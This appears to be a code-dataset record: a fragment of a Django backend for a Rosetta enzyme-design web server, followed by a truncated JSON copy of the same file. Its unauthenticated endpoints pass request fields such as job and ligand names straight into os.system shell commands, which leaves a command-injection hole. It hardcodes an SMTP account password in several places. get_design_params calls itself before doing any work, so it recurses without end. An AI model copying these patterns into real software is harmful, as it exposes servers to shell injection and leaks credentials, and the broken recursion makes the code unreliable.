@wraps(func) def wrapper(*args, **kwargs): start = time.time() result = func(*args, **kwargs) end = time.time() print(func.__name__, end-start) return result return wrapper @timethis def design_comand(match_file): command = "/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/enzyme_design.linuxgccrelease @design_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -s "+ match_file + " -out:file:o " + match_file + "_DE.out > " + match_file + "_design.log" os.system(command) # def get_design_params(ligand_name, params=('6.0', '8.0', '10.0', '12.0', '5')): # # """ # # :param ligand_name: # # :param params: (6.0, 8.0, 10, 12.0, 5) # # :return: # # """ # # command = '' # # os.system(command) from functools import partial def get_design_params(ligand_name, params=None): ### ligand_name not startswith('LG') endswith('params') if params is None: params = ('6.0', '8.0', '10.0', '12.0', '5') return partial(get_design_params, ligand_name)(params) # command = '' command = "sed -e 's/res_ligand_params_file/design_" + ligand_name + ".params/g' -e 's/enz_score.out/enz_score_" + ligand_name + ".out/g' -e 's/-cut1 6.0/-cut1 " + params[0] + "/g' -e 's/-cut2 10.0/-cut2 " + params[1] + "/g' -e 's/-cut3 15.0/-cut3 " + params[2] + "/g' -e 's/-cut4 20.0/-cut4 " + params[3] + "/g' -e 's/-nstruct 5/-nstruct " + params[4] + "/g' design.flags > design_out.flags" os.system(command) def send_email(email_addr, email_content, result_file): host_server = 'smtp.qq.com' sender_mail_addr = '[email protected]' pwd = 'utxfxpzcpsnzbbcc' receiver_mail_addr = email_addr mail_content = email_content mail_title = "JianpingLin's email" msg = MIMEMultipart() msg['Subject'] = Header(mail_title, 'utf-8') msg['From'] = sender_mail_addr msg['To'] = Header('Receiver', 'utf-8') msg.attach(MIMEText(mail_content, 'html', 'utf-8')) # att1 = MIMEText(open(result_file).read(), 'base64', 'utf-8') att1 = MIMEText(open(result_file).read(), 'base64') # import zipfile # att1 = MIMEText(zipfile.ZipFile(result_file), 'base64', 'utf-8') att1['Content-Type'] = 'application/octet-stream' att1['Content-Disposition'] = 'attachment; filename="match_design.tar.gz"' msg.attach(att1) smtp = SMTP_SSL(host_server) smtp.set_debuglevel(1) smtp.ehlo(host_server) smtp.login(sender_mail_addr, pwd) smtp.sendmail(sender_mail_addr, receiver_mail_addr, msg.as_string()) smtp.quit() @api_view(['POST']) @permission_classes([permissions.AllowAny]) def fourth_step(request): job_name = request.data['job_name'] design_mini_range = request.data['design_mini_range']### user_email = request.data['user_email'] # design_cst = request.data['design_cst'] job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design') work_dir = os.path.join(job_dir, job_name) os.chdir(work_dir) for filename in os.listdir(work_dir): ### ligand_name 必须是提交的mol2,不应该是LG.mol2 if filename.endswith('params') and not filename.startswith('LG'): ligand_name = filename.split('.params')[0] break match_design_dir = os.path.join(work_dir, 'match_design') if not os.path.exists(match_design_dir): os.mkdir(match_design_dir) # if design_cst != '': # cst_str = design_cst.read() # user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst') # prep_dock.save_to_file(user_design_cst_file, cst_str) # else: # try: design_cst = request.data['design_cst'] cst_str = design_cst.read() user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst') prep_dock.save_to_file(user_design_cst_file, cst_str) except MultiValueDictKeyError: os.system('cp ./inputs/match.cst ./match_design/design.cst') finally: os.system('mv UM*match*.pdb ./match_design') os.system('cp ../../rosetta_workflow_all_scripts/design.flags ./') ###To DO### # command = "sed -e 's/res_ligand_params_file/design_" + ligand_name + ".params/g' -e 's/enz_score.out/enz_score_" + ligand_name + ".out/g' design.flags > design_out.flags" # get_design_params(ligand_name, tuple(design_mini_range.split(';'))) ####TO DO### # os.system(command) if design_mini_range != '': #design_mini_range = req0uest.data['design_mini_range'] tpl_mini_range = tuple(design_mini_range.split(';')) if len(tpl_mini_range) != 5: return Response('Please check that the "Designable Range, Repackable Range and Number of Outputs" exists.') else: get_design_params(ligand_name, tpl_mini_range) else: get_design_params(ligand_name) os.system("sed -r '/^PDB_ROTAMERS/d' " + ligand_name + ".params > match_design/design_" + ligand_name + ".params") os.system('cp design_out.flags ./match_design') match_dir = os.path.join(work_dir, 'match_design') os.chdir(match_dir) match_file_list = [filename for filename in os.listdir(match_dir) if filename.startswith('UM')] # design_comand(match_file_list[0]) ###Post user### # pool = mul.Pool(5) # pool.map(design_comand, match_file_list) # pool.close() # pool.join() design_analysis.design_score(ligand_name, './') params = SubmitParamter.objects.get(job_name=job_name) params.user_email = user_email design_ligandname_out = 'design_' + ligand_name.split('.')[0] + '.out' file = File(open(design_ligandname_out)) params.design_ligand_name_out.save(design_ligandname_out, file) params.save() # os.chdir(work_dir) # os.system('zip -r match_design.zip match_design') # os.system('tar czvf match_design.tar.gz UM*DE*.pdb') os.system('zip match_design UM*DE*.pdb ' + design_ligandname_out) email_content = "Welcome to Jianping Lin's group" match_design_file = os.path.join('./', 'match_design.zip') # send_email(email_addr=user_email, email_content=email_content, result_file=design_ligandname_out) # send_email(email_addr=user_email, email_content=email_content, result_file=match_design_file) # send_file_zipped(design_ligandname_out, ['[email protected]']) send_file_zipped(match_design_file, user_email, email_content=email_content) serializer = SubmitParamsSerializer(params) return JsonResponse(serializer.data, safe=False) # return Response('Successfully, this process needs ') def get_analysis_params_dic(params): dic = {} temp_list = params.split(',') for param in temp_list: name, value = param.split(':') dic[name] = value return dic @api_view(['POST']) @permission_classes([permissions.AllowAny]) def fifth_step(request): job_name = request.data['job_name'] analysis_params = request.data['analysis_params'] ### all_cst value < 0.9\nSR_2_interf_E_1_5:-9, # analysis_dict = get_analysis_params_dic(analysis_params) ### {all_cst:0.9, SR_2_interf_E_1_5:-9} job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design') work_dir = os.path.join(job_dir, job_name) os.chdir(work_dir) for filename in os.listdir(work_dir): if filename.endswith('params') and not filename.startswith('LG'): ligand_name = filename.split('.params')[0] break match_dir = os.path.join(work_dir, 'match_design') os.chdir(match_dir) design_analysis.design_filter(ligand_name, analysis_params.strip()) # design_analysis.design_score(ligand_name, './') analysis_command = 'perl /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/src/apps/public/enzdes/DesignSelect.pl -d ' + 'design_'+ligand_name+'.out' + ' -c ' + 'design_'+ligand_name+'.filter' + ' -tag_column last > filtered_designs_' + ligand_name +'.out' print analysis_command os.system(analysis_command) # serializer = SubmitParamsSerializer(params) # return JsonResponse(serializer.data, safe=False) return Response('Successfully') class SubmitParamsViewSet(viewsets.DynamicModelViewSet): queryset = SubmitParamter.objects.all() serializer_class = serializers.SubmitParamsSerializer class OnlinedockViewSet(viewsets.DynamicModelViewSet): queryset = Onlinedock.objects.all() serializer_class = serializers.OnlinedockSerializer
normal
{ "blob_id": "8c6b7f29b8dca61a5218b51c85149c9642af5649", "index": 6665, "step-1": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom dynamic_rest import viewsets\nfrom django.shortcuts import render\nimport os\nfrom rest_framework import permissions\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.decorators import api_view, permission_classes, detail_route, list_route\nfrom rest_framework import mixins\nfrom rdkit import Chem\nimport random\nfrom Bio.PDB.PDBParser import PDBParser\nimport time\nfrom Bio.PDB.PDBIO import PDBIO\nimport residues_scanning_command\nimport prep_dock\nimport threading\nfrom rosetta_workflow_all_scripts import rosetta_protein_prep, get_cst_file, change_pos, design_analysis\nimport rosetta_workflow_all_scripts\nfrom django.utils.datastructures import MultiValueDictKeyError\nimport multiprocessing as mul\nimport time\nfrom models import SubmitParamter, Onlinedock\nfrom django.core.files import File\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nfrom smtplib import SMTP_SSL\nfrom email.mime.multipart import MIMEMultipart\nfrom email import encoders\nfrom email.message import Message\nfrom email.mime.base import MIMEBase\nfrom dynamic_rest import viewsets\nimport serializers\nfrom rest_framework.parsers import JSONParser\nfrom polls.serializers import SubmitParamsSerializer, OnlinedockSerializer\nfrom django.http import JsonResponse\n\nimport zipfile\nimport tempfile\ndef send_file_zipped(the_file, recipients, email_content, sender='[email protected]'):\n zf = tempfile.TemporaryFile(prefix='mail', suffix='zip')\n zip = zipfile.ZipFile(zf, 'w')\n zip.write(the_file)\n zip.close()\n zf.seek(0)\n\n ### Create the message\n themsg = MIMEMultipart()\n themsg['Subject'] = 'File %s' % the_file\n themsg['To'] = ', '.join(recipients)\n themsg['From'] = sender\n themsg.attach(MIMEText(email_content, 'html', 'utf-8'))\n themsg.preamble = 'I am not using a MIME-aware mail reader.\\n'\n msg = MIMEBase('application', 'zip')\n msg.set_payload(zf.read())\n encoders.encode_base64(msg)\n msg.add_header('Content-Disposition', 'attachment', filename=the_file)\n themsg.attach(msg)\n themsg = themsg.as_string()\n\n ### Send the message\n import smtplib\n host_server = 'smtp.qq.com'\n sender_mail_addr = '[email protected]'\n pwd = 'utxfxpzcpsnzbbcc'\n\n smtp = SMTP_SSL(host_server)\n smtp.set_debuglevel(1)\n smtp.ehlo(host_server)\n smtp.login(sender_mail_addr, pwd)\n smtp.sendmail(sender, recipients, themsg)\n smtp.quit()\n\n # smtp = smtplib.SMTP()\n # smtp.connect()\n # smtp.sendmail(sender, recipients, themsg)\n # smtp.close()\ndef get_pov_value(file):\n f = open(file)\n lines = f.readlines()\n f.close()\n for line in lines:\n if line.startswith('1'):\n value = float(line.split('|')[1].strip())\n return value\n\ndef main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr):\n \"\"\"\n :param job_name:\n :param mutation_radius:\n :param pov_radius:\n :param pH:\n :param mutation_info_list:\n :param protein:\n :param ligand_name:\n :param ligand_resseq:\n :param chain_id:\n :return:\n \"\"\"\n current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n print current_time\n log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')\n wild_protein_name = protein.name\n # job_dir = os.path.join(log_dir, job_name + '_' + current_time)\n job_dir = os.path.join(log_dir, job_name)\n if not os.path.exists(job_dir):\n os.mkdir(job_dir)\n wild_protein_file = os.path.join(job_dir, wild_protein_name)\n protein_str = protein.read()\n prep_dock.save_to_file(wild_protein_file, protein_str)\n\n prepare_protein_name = wild_protein_name.split('.')[0] + '_prep.pdb'\n\n ### Prepare protein\n prep_dock.prep_protein(wild_protein_name, prepare_protein_name, job_dir, pH)\n\n ### make mutation\n prep_dock.get_mut_protein(job_dir, job_name, mut_info_list=mutation_info_list, mutation_radius=mutation_radius,\n prepare_protein_name=prepare_protein_name)\n\n prepare_protein = os.path.join(job_dir, prepare_protein_name)\n mutation_protein_name = job_name + '_mut-2.pdb'\n mutation_protein = os.path.join(job_dir, mutation_protein_name)\n ### prep_pov\n prep_dock.get_pro_lig_povin((prepare_protein_name, prepare_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='prep')\n prep_pov = os.path.join(job_dir, 'pov', 'prep', 'prep.log')\n ### mut_pov\n prep_dock.get_pro_lig_povin((mutation_protein_name, mutation_protein, chain_id, ligand_resseq, ligand_name), pov_radius, protein_type='mut')\n mut_pov = os.path.join(job_dir, 'pov', 'mut', 'mut.log')\n ### plip\n # prep_dock.get_plip_file(prepare_protein, mutation_protein)\n ### TMalign\n # prep_dock.TMalign(prepare_protein, mutation_protein)\n\n onlinedock, create = Onlinedock.objects.get_or_create(job_name=job_name)\n prep_protein_file = File(open(prepare_protein))\n mut_protein_file = File(open(mutation_protein))\n prep_pov_file = File(open(prep_pov))\n mut_pov_file = File(open(mut_pov))\n\n prep_pov_value = get_pov_value(prep_pov)\n mut_pov_value = get_pov_value(mut_pov)\n\n\n\n\n onlinedock.prep_protein.save(prepare_protein_name, prep_protein_file)\n onlinedock.mut_protein.save(mutation_protein_name, mut_protein_file)\n onlinedock.prep_pov.save('prep.log', prep_pov_file)\n onlinedock.mut_pov.save('mut.log', mut_pov_file)\n onlinedock.prep_pov_value = prep_pov_value\n onlinedock.mut_pov_value = mut_pov_value\n onlinedock.save()\n\n os.chdir(job_dir)\n os.system('zip related_info ' + prepare_protein + ' ' + mutation_protein + ' ' + prep_pov + ' ' + mut_pov)\n email_content = \"Wellcome to Jianping Lin Group server~~\"\n print(os.path.curdir)\n related_info = os.path.join(os.path.curdir, 'related_info.zip')\n send_file_zipped(related_info, email_addr, email_content=email_content)\n\ndef test():\n job_dir = '/home/jianping/django_test/longge/polls/log/1111/pov'\n\n\n# job_id = 0\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef online_docking(request):\n # current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n # print current_time\n # log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'log')\n\n job_name = request.data['job_name']\n mutation_radius = request.data['mutation_radius'] ### mutation radius\n pov_radius = str(request.data['pov_radius']) ### povelty radius\n pH = request.data['pH']\n mutation_info_list = request.data['mutation_info_list'] ### [chain, position, residue, ]\n protein = request.data['protein_file']\n ligand_name = request.data['ligand_name']\n ligand_resseq = int(request.data['ligand_resseq'])\n chain_id = request.data['chain_id']\n email_addr = request.data['email_addr']\n\n # main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr)\n t = threading.Thread(target=main, args=(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr))\n t.setDaemon(False)\n t.start()\n return Response('Conguratulations, you have submitted successfully!!!')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef prepare_protein(request):\n job_name = request.data['job_name']\n protein = request.data['protein']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n if not os.path.exists(work_dir):\n os.mkdir(work_dir)\n protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]\n local_protein_file = os.path.join(work_dir, protein_name)\n protein_str = protein.read()\n prep_dock.save_to_file(local_protein_file, protein_str)\n\n os.chdir(work_dir)\n protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'\n os.system(\n 'python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')\n params, create = SubmitParamter.objects.get_or_create(job_name=job_name)\n prt = File(open(local_protein_file))\n prt_renumber = File(open(protein_renumber))\n\n params.protein_file.save(protein_name, prt)\n params.protein_renumber_file.save(protein_renumber, prt_renumber)\n params.save()\n # return Response(params)\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successfully')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef first_step(request):\n job_name = request.data['job_name']\n # protein = request.data['protein']\n ligand = request.data['ligand']\n other_ligands = request.data['other_ligands'] ### ['A','215','MG','A','218','HOH','A','217','ATP']\n other_ligands = other_ligands.split('[')[1].split(']')[0].split(',')\n other_ligands = [str(i) for i in other_ligands]\n res_chain = request.data['res_chain'] # 'A'\n res_ligand_chain = request.data['res_ligand_chain'] ## 'A'\n res_ligand_ID = request.data['res_ligand_ID'] ### '216'\n res_ligand_name = request.data['res_ligand_name'] ### 'PRP'\n # design_ligand_name = request.data['design_ligand_name'] ### 'ABC'\n\n ### third step ###\n # CST_A_chain_name = request.data['CST_A_chain_name']\n\n current_time = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n print current_time\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n\n work_dir = os.path.join(job_dir, job_name)\n if not os.path.exists(work_dir):\n os.mkdir(work_dir)\n\n # protein_name, protein_name_pure = protein.name, protein.name.split('.')[0]\n # local_protein_file = os.path.join(work_dir, protein_name)\n # protein_str = protein.read()\n # prep_dock.save_to_file(local_protein_file, protein_str)\n\n ligand_name, ligand_name_pure = ligand.name, ligand.name.split('.')[0]\n local_ligand_file = os.path.join(work_dir, ligand_name)\n ligand_str = ligand.read()\n prep_dock.save_to_file(local_ligand_file, ligand_str)\n os.chdir(work_dir)\n # protein_renumber_name, protein_renumber = protein_name_pure + '_renumber', protein_name_pure + '_renumber.pdb'\n # os.system('python ../../rosetta_workflow_all_scripts/PDB_renumber.py -i ' + protein_name + ' -a -r > ' + protein_renumber_name + '.pdb')\n os.system('python ../../rosetta_workflow_all_scripts/design_ligand_prep.py ' + ligand_name)\n while True:\n if os.path.exists(ligand_name_pure+'.params'):\n break\n os.system('cp ../../rosetta_workflow_all_scripts/match.flags ./')\n os.system('cp ../../rosetta_workflow_all_scripts/match_grid.flags ./')\n\n for filename in os.listdir(work_dir):\n if filename.endswith('renumber.pdb'):\n protein_renumber_name = filename.split('.pdb')[0]\n protein_renumber = filename\n break\n\n prep_pdb, prep_pdb_pure = protein_renumber_name + '_prep.pdb', protein_renumber_name + '_prep'\n\n rosetta_protein_prep.prep_protein(protein_renumber, prep_pdb, res_chain, './')\n rosetta_protein_prep.get_ligand(prep_pdb, res_ligand_chain, res_ligand_ID, res_ligand_name)\n\n ### my code ###\n step = 3\n other_ligands_class_list = [other_ligands[i: i+step] for i in range(0, len(other_ligands), step)]\n os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')\n\n if len(other_ligands) < 3:\n print 'There are no ligands that need to be retained'\n # os.system('cp ' + protein_renumber_name + '_chain' + res_chain + '.pdb combi_ligands.pdb')\n else:\n i = 0\n for cls in other_ligands_class_list:\n combi_name = '_'.join(cls)\n print combi_name\n rosetta_protein_prep.get_ligand(protein_renumber, cls[0], cls[1], cls[2])\n last_out_name = protein_renumber_name + '_chain' + combi_name + '.pdb'\n last_out_name_mol2 = protein_renumber_name + '_chain' + combi_name + '.mol2'\n rosetta_protein_prep.combi_pdb('combi_ligands.pdb', last_out_name)\n\n if cls[2] != 'HOH' and len(cls[2]) == 3:\n i += 1\n os.system('obabel -ipdb ' + last_out_name + ' -omol2 -O ' + last_out_name_mol2)\n os.system('python /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/scripts/python/public/molfile_to_params.py ' + last_out_name_mol2 + '-n LG' + str(i))\n\n os.system(\"sed -i '/^TER/c'TER'' combi_ligands.pdb\")\n rosetta_protein_prep.get_grid('../../rosetta_workflow_all_scripts/match_grid.flags', prep_pdb_pure, res_chain, res_ligand_chain, res_ligand_ID, res_ligand_name)\n rosetta_protein_prep.get_match_flags('../../rosetta_workflow_all_scripts/match.flags', res_chain, 'ABC', prep_pdb_pure, ligand_name_pure)\n os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/gen_lig_grids.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database @match_grid_out.flags')\n os.system('cp ' + protein_renumber + ' ./renumber.pdb')\n\n\n ### update database ###\n # params, created = SubmitParamter.objects.get_or_create(\n # job_name=job_name,\n # other_ligands=other_ligands,\n # res_chain=res_chain,\n # res_ligand_chain=res_ligand_chain,\n # res_ligand_name=res_ligand_name\n # )\n params = SubmitParamter.objects.get(job_name=job_name)\n params.other_ligands = other_ligands\n params.res_chain = res_chain\n params.res_ligand_chain = res_ligand_chain\n params.res_ligand_name = res_ligand_name\n\n # prt = File(open(local_protein_file))\n lgd = File(open(local_ligand_file))\n # prt_renumber = File(open(protein_renumber))\n ligand_params_file = File(open(ligand_name_pure+'.params'))\n pos_file = os.path.join('./inputs', prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos')\n pos_file_name = prep_pdb_pure+'_chain'+res_chain+'.pdb_0.pos'\n inputs_pos_file = File(open(pos_file))\n\n # params.protein_file.save(protein_name, prt)\n params.ligand_file.save(ligand_name, lgd)\n # params.protein_renumber_file.save(protein_renumber, prt_renumber)\n params.ligand_params_file.save(ligand_name_pure+'.params', ligand_params_file)\n params.inputs_pos_file.save(pos_file_name, inputs_pos_file)\n\n params.save()\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successful')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef second_step(request):\n job_name = request.data['job_name']\n constrain_info = request.data['constrain_info'] ### A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-O2B:PB:O3A-0.20:10.0:10.0:10.0:10.0:10.0-100.0:60.0:60.0:60.0:60.0:60.0-0:360.0:360.0:360.0:360.0:360.0-1:1:1:1:1:1, or A:216:PRP:O2B:PB:O3A:A:131:ASP:OD2:CG:CB-type:OH\n cat_ID = request.data['cat_ID']\n # cst1 = request.data['cst1']\n # cst2 = request.data['cst2']\n # cst3 = request.data['cst3']\n # three_atoms = request.data['three_atoms'] ### O2B:PB:O3A, type:OH\n # CST_A_chain_name = request.data['CST_A_chain_name'] ### 'A'\n # CST_A_residue_ID = int(request.data['CST_A_residue_ID']) ### '216'\n # CST_A_residue_name = request.data['CST_A_residue_name'] ### 'PRP'\n # Atom_A1 = request.data['Atom_A1'] ### 'O2B'\n # Atom_A2 = request.data['Atom_A2'] ### 'PB'\n # Atom_A3 = request.data['Atom_A3'] ### 'O3A'\n # CST_B_chain_name = request.data['CST_B_chain_name'] ### 'A'\n # CST_B_residue_ID = int(request.data['CST_B_residue_ID']) ### '131'\n # CST_B_residue_name = request.data['CST_B_residue_name'] ### 'ASP'\n # Atom_B1 = request.data['Atom_B1'] ### 'OD2'\n # Atom_B2 = request.data['Atom_B2'] ### 'CG'\n # Atom_B3 = request.data['Atom_B3'] ### 'CB'\n renumber_pdb = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design', job_name, 'renumber.pdb')\n work_dir = os.path.dirname(renumber_pdb)\n os.chdir(work_dir)\n\n ### my code ###\n #_______________________________________________________________\n constrain_info_list = [cst.split('-') for cst in constrain_info.split(',') if cst is not '']\n # for constrain_info in constrain_info_list:\n # if len(constrain_info) == 2:\n\n parse = PDBParser(PERMISSIVE=1)\n structure = parse.get_structure('renumber.pdb', renumber_pdb)\n w = open('match.cst', 'w')\n w.write('# cst constraint descriptior for renumber.pdb' + '\\n\\n\\n')\n w.write('# NOTE\\n\\n\\n')\n\n for idx, cst_info in enumerate(constrain_info_list):\n cst_result = get_cst_file.measure_dist_angle_dihe_new(structure, idx, cst_info)\n w.writelines(cst_result)\n w.close()\n\n # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', constrain_info_list, 'match.cst')\n # ____________________________________________________________\n\n # get_cst_file.measure_dist_angle_dihe(renumber_pdb, 'renumber.pdb', [(CST_A_chain_name, CST_A_residue_ID, CST_A_residue_name,\n # Atom_A1, Atom_A2, Atom_A3, CST_B_chain_name,\n # CST_B_residue_ID, CST_B_residue_name, Atom_B1,\n # Atom_B2, Atom_B3), ], 'match.cst')\n os.system('cp match.cst ./inputs')\n\n inputs_dir = os.path.join(work_dir, 'inputs')\n os.chdir(inputs_dir)\n for filename in os.listdir(inputs_dir):\n if filename.endswith('_0.pos'):\n pos = os.path.join(inputs_dir, filename)\n os.system('cp ' + pos + ' ./pos.bk')\n change_pos.change_pos(filename, cat_ID)\n params = SubmitParamter.objects.get(job_name=job_name)\n params.constrain_info = constrain_info\n params.cat_ID = cat_ID\n match_cst_file = File(open('match.cst'))\n params.match_cst_file.save('match.cst', match_cst_file)\n params.save()\n # for filename in os.listdir(inputs_dir):\n # if filename.endswith('.params'):\n # os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/CstfileToTheozymePDB.linuxgccrelease -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -extra_res_fa ' + filename + ' -match:geometric_constraint_file match.cst')\n return Response('Successful')\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef third_step(request):\n job_name = request.data['job_name']\n # user_specialized_cst_file = request.data['user_specialized_cst_file']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n # if user_specialized_cst_file:\n # cst_str = user_specialized_cst_file.read()\n # user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')\n # prep_dock.save_to_file(user_defined_cst_file, cst_str)\n try:\n cst_file = request.data['cst_file']\n cst_str = cst_file.read()\n user_defined_cst_file = os.path.join(work_dir, 'inputs', 'match.cst')\n prep_dock.save_to_file(user_defined_cst_file, cst_str)\n params = SubmitParamter.objects.get(job_name=job_name)\n new_cst_file = File(open(user_defined_cst_file))\n params.user_defined_cst_file.save('match.cst', new_cst_file)\n params.save()\n except MultiValueDictKeyError:\n pass\n try:\n os.system('/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/match.linuxgccrelease @match_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database')\n # params = SubmitParamter.objects.get(job_name=job_name)\n # UM_pdb_list = []\n # for filename in os.listdir(os.path.join(work_dir, 'inputs')):\n # if filename.startswith('UM'):\n # file = os.path.join(work_dir, 'inputs', filename)\n # UM_pdb = File(open(file))\n UM_pdb_list = [filename for filename in os.listdir(os.path.join(work_dir, 'inputs')) if filename.startswith('UM')]\n params.UM_pdb_count = len(UM_pdb_list)\n params.save()\n # return Response('Successful, there are {} UM***.pdb'.format(len(UM_pdb_list)))\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n except:\n return Response('Failed, please check the constraint file and submit again !!!')\n\nfrom functools import wraps\ndef timethis(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n print(func.__name__, end-start)\n return result\n return wrapper\n\n@timethis\ndef design_comand(match_file):\n command = \"/home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/bin/enzyme_design.linuxgccrelease @design_out.flags -database /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/database -s \"+ match_file + \" -out:file:o \" + match_file + \"_DE.out > \" + match_file + \"_design.log\"\n os.system(command)\n\n# def get_design_params(ligand_name, params=('6.0', '8.0', '10.0', '12.0', '5')):\n# # \"\"\"\n# # :param ligand_name:\n# # :param params: (6.0, 8.0, 10, 12.0, 5)\n# # :return:\n# # \"\"\"\n# # command = ''\n# # os.system(command)\n\nfrom functools import partial\ndef get_design_params(ligand_name, params=None): ### ligand_name not startswith('LG') endswith('params')\n if params is None:\n params = ('6.0', '8.0', '10.0', '12.0', '5')\n return partial(get_design_params, ligand_name)(params)\n # command = ''\n command = \"sed -e 's/res_ligand_params_file/design_\" + ligand_name + \".params/g' -e 's/enz_score.out/enz_score_\" + ligand_name + \".out/g' -e 's/-cut1 6.0/-cut1 \" + params[0] + \"/g' -e 's/-cut2 10.0/-cut2 \" + params[1] + \"/g' -e 's/-cut3 15.0/-cut3 \" + params[2] + \"/g' -e 's/-cut4 20.0/-cut4 \" + params[3] + \"/g' -e 's/-nstruct 5/-nstruct \" + params[4] + \"/g' design.flags > design_out.flags\"\n os.system(command)\n\ndef send_email(email_addr, email_content, result_file):\n host_server = 'smtp.qq.com'\n sender_mail_addr = '[email protected]'\n pwd = 'utxfxpzcpsnzbbcc'\n receiver_mail_addr = email_addr\n mail_content = email_content\n mail_title = \"JianpingLin's email\"\n msg = MIMEMultipart()\n msg['Subject'] = Header(mail_title, 'utf-8')\n msg['From'] = sender_mail_addr\n msg['To'] = Header('Receiver', 'utf-8')\n\n msg.attach(MIMEText(mail_content, 'html', 'utf-8'))\n # att1 = MIMEText(open(result_file).read(), 'base64', 'utf-8')\n att1 = MIMEText(open(result_file).read(), 'base64')\n # import zipfile\n # att1 = MIMEText(zipfile.ZipFile(result_file), 'base64', 'utf-8')\n att1['Content-Type'] = 'application/octet-stream'\n att1['Content-Disposition'] = 'attachment; filename=\"match_design.tar.gz\"'\n msg.attach(att1)\n\n smtp = SMTP_SSL(host_server)\n smtp.set_debuglevel(1)\n smtp.ehlo(host_server)\n smtp.login(sender_mail_addr, pwd)\n smtp.sendmail(sender_mail_addr, receiver_mail_addr, msg.as_string())\n smtp.quit()\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef fourth_step(request):\n job_name = request.data['job_name']\n design_mini_range = request.data['design_mini_range']###\n user_email = request.data['user_email']\n\n # design_cst = request.data['design_cst']\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n for filename in os.listdir(work_dir): ### ligand_name 必须是提交的mol2,不应该是LG.mol2\n if filename.endswith('params') and not filename.startswith('LG'):\n ligand_name = filename.split('.params')[0]\n break\n match_design_dir = os.path.join(work_dir, 'match_design')\n if not os.path.exists(match_design_dir):\n os.mkdir(match_design_dir)\n\n # if design_cst != '':\n # cst_str = design_cst.read()\n # user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')\n # prep_dock.save_to_file(user_design_cst_file, cst_str)\n # else:\n #\n try:\n design_cst = request.data['design_cst']\n cst_str = design_cst.read()\n user_design_cst_file = os.path.join(work_dir, 'match_design', 'design.cst')\n prep_dock.save_to_file(user_design_cst_file, cst_str)\n except MultiValueDictKeyError:\n os.system('cp ./inputs/match.cst ./match_design/design.cst')\n finally:\n os.system('mv UM*match*.pdb ./match_design')\n os.system('cp ../../rosetta_workflow_all_scripts/design.flags ./')\n ###To DO###\n # command = \"sed -e 's/res_ligand_params_file/design_\" + ligand_name + \".params/g' -e 's/enz_score.out/enz_score_\" + ligand_name + \".out/g' design.flags > design_out.flags\"\n # get_design_params(ligand_name, tuple(design_mini_range.split(';')))\n ####TO DO###\n # 